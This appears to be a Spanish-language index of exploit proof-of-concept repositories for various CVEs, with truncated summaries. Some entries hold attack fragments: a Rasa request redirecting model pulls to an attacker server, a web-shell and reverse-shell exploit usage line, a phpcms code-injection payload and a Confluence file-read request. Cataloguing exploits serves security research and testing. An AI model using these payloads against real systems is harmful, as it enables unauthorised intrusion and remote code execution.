Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Ejecútalo directamente root@kitploit: python server-1.py Carga arbitraria de archivos root@kitploit: PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 El resultado es el siguiente: CVE-2021-41127 server-1.py El...

CVE-2026-48907

CVE-2026-48907 — RCE no autenticado en Joomla Content Editor JCE ≤ 2.9.99.4 Exploit de prueba de concepto para CVE-2026-48907 — una vulnerabilidad de ejecución remota de código RCE CVSS 10.0 previa a la autenticación en la extensión Joomla Content Editor JCE. Investigación del Grayxploit Security...

CVE-2025-10230

CVE-2025-10230: Samba RCE Crítico CVSS 10.0 Resumen de la Vulnerabilidad La CVE-2025-10230 es una vulnerabilidad crítica de ejecución remota de código RCE que permaneció oculta en el código base de Samba durante 13 años. La falla reside en el manejo de paquetes de registro WINS Windows Internet...

CVE-2024-36401-poc

CVE-2024-36401 — RCE por Inyección XPath OGC en GeoServer Exploit de ejecución remota de código sin autenticación para GeoServer mediante inyección del parámetro valueReference de filtro OGC evaluación XPath/JXPath. Aviso legal: Esta herramienta está diseñada únicamente para pruebas de penetració...

CVE-2026-55200

Reporte de Seguridad: CVE-2026-55200 📝 Descripción General El CVE-2026-55200 es una vulnerabilidad crítica de desbordamiento de memoria basada en el heap corrupción de memoria dinámica que afecta a la biblioteca libssh2 en versiones hasta la 1.11.1. Permite a un servidor SSH malicioso comprometer...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE Descripción Script PoC para vulnerabilidad crítica en Krayin CRM v2.2.x que permite RCE autenticado mediante carga de archivos sin restricciones. Uso root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit La dirección de system y el gadget deben ser reemplazados por la dirección real encontrada mediante una vulnerabilidad de divulgación de información. Después de reemplazar la dirección de system y el gadget. Ejecuta el código para generar el archivo GIF corrupto:...

CVE-2025-55182

Escáner CVE-2025-55182 Este repositorio contiene una herramienta de escaneo para CVE-2025-55182 RCE y CVE-2025-55183 Divulgación de Código Fuente en React Server Components RSC de Next.js. ⚠️ Aviso legal Esta herramienta es solo para fines educativos y de pruebas autorizadas. No utilice esta...

CVE-2018-1000533

Vulnerabilidad de ejecución remota de código en GitList 0.6.0 CVE-2018-1000533 GitList es un visor moderno de repositorios Git. En las versiones de GitList 0.6.0 e inferiores existe una vulnerabilidad que pasa entrada no validada adecuadamente a funciones del sistema, lo que permite ejecutar...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Exploit RCE de Pterodactyl Panel HTB Temporada 10 - Writeup de la Máquina Pterodactyl Resumen Objetivo: Máquina Pterodactyl HTB Dificultad Media CVE: CVE-2025-49132 Severidad: Crítica CVSS 9.8 Tipo de Ataque: Ejecución Remota de Código No Autenticada Afectado: Pterodactyl Panel...

CVE-2024-29847

CVE-2024-29847 PoC for Ivanti Endpoint Manager AgentPortal Deserialization of Untrusted Data Remote Code Execution Vulnerability CVE-2024-29847 A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/ivanti-epm-CVE-2024-29847-deserialization-RCE/ Usage...

Log4Shell_CVE-2021-44228_related_attacks_IOCs

Log4Shell（CVE-2021-44228）related attacks IOCs Las IPs de origen intentan ataques usando Apache Log4j RCE, e incluyen una gran proporción de nodos Tor. Para más detalles, consulte Attack-IP.md Para los IOCs de malware, botnets, etc., propagados mediante la vulnerabilidad log4j, consulte IOC-C2.md...

CVE-2024-23897

CVE-2024-23897 Jenkins CVE-2024-23897: Vulnerabilidad de Lectura Arbitraria de Archivos que Conduce a RCE Jenkins utiliza la librería args4j para analizar argumentos y opciones de comandos en el controlador de Jenkins al procesar comandos CLI. Este analizador de comandos tiene una función que...

cve-2020-11651

CVE-2020-11651 This is a POC for CVE-2020-11651, which obtains pre-auth RCE on a salt stack master, and/or all the associated minions. Some light details on the issue are here. POC for 2020-11652 not included. This obtains command execution on the master by creating a runner of salt.cmd with...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 Recientemente encontramos una vulnerabilidad en /type.php del código fuente de phpcms 2008. Cuando los atacantes envían solicitudes manipuladas como "/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss", el contenido malicioso en este caso "@unlinkFILE;assert$POST1...

CVE-2026-100208

Integer overflow or wraparound in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network...

Drupal-SA-CORE-2019-003

Drupal-SA-CORE-2019-003 CVE-2019-6340 Drupal SA-CORE-2019-003 CVE-2019-6340 CVE-2019-6340.md https://mp.weixin.qq.com/s/EQD4-K6HgBY9wdzeXeyzkg https://paper.seebug.org/821/ https://www.youtube.com/watch?v=QtLDDN0Duko nombre del enlace https://pbs.twimg.com/media/D0C-KiXX4AM2vR3.jpg:large...

CVE-2019-3396

CVE-2019-3396 Vulnerabilidad de ejecución remota de código RCE no autenticada en Confluence CVE-2019-3396 Advertencia: algunas versiones requieren añadir el campo Referer para que funcione Lectura de archivos root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 10.10.20.181 User-Agent...

CVE-2022-0944_RCE_Automation

No soy el investigador que encontró el exploit, solo el autor de este código. Este código está destinado únicamente a fines educativos...

spring-shell-vuln

spring-shell-vuln Spring4Shell: vulnerabilidad RCE en Spring core Spring ha confirmado la RCE en Spring Framework. El equipo acaba de publicar la declaración junto con las guías de mitigación para el problema. Ahora, esta vulnerabilidad puede rastrearse como CVE-2022-22965. Se ha compartido...